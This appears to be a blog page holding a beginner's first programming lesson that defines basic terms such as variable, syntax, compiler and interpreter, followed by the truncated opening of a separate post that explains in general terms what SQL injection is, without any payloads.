One Step towards programming..

Hello Friends, this is me Alex your free programming tutor. Today is your first class and I am going to teach you some basic concept of programming. Please make a note of these terms

Program
A program is like a recipe. It contains a list of ingredients (called variables) and a set of instructions (called statements) that tell the computer what to do with the variables. The variables can represent numeric data, text, or graphical images

Programming Language

A programming language is a formal language that specifies a set of instructions that can be used to produce various kinds of output. Programming languages generally consist of instructions for a computer. Programming languages can be used to create programs that implement specific algorithms.
 
Variable

A variable is a symbolic name given to an unknown quantity that permits the name to be used independent of the information it represents. Variables are associated with data storage locations, and values of a variable are normally changed during the course of program execution.

Syntax

syntax refers to the rules that specify the correct combined sequence of symbols that can be used to form a correctly structured program using a given programming language.

Compiler

A compiler is a special program that processes statements written in a particular programming language and turns them into machine language or "code" that a computer's processor uses. ... (Note that the term "object" here is not related to object-oriented programming.) 

Interpreter

An interpreter is a computer program that directly executes, i.e. performs, instructions written in a programming or scripting language, without requiring them previously to have been compiled into a machine language program. 



Why we should code?

Friends, when we use a software made by others, we are restricted to a limited functionality. We can't even use the full version of some software without paying a huge money. But, A programmer is free from all these restrictions. They code for themselves when they need and sell them to others too. Now, I hope you understand why should we code. ;) 


Thank you friends, Your today's lesson is over come back here tomorrow for a new lesson. If you have and problem, discuss in chat group.

What is SQL Injection? Basically SQL Injections or simply called Structured Query Language Injection is a technique that exploits the loop hole in the database layer of the application. This happens when user mistakenly or purposely(hackers) enters the special escape characters into the username password authentication form or in URL of the website. Its basically the coding standard loop hole. Most website owners doesn't have proper knowledge of secure coding standards and that results into the vulnerable websites. For better understanding, suppose you opened a website and went to his Sign in or log in page. Now in username field you have ...
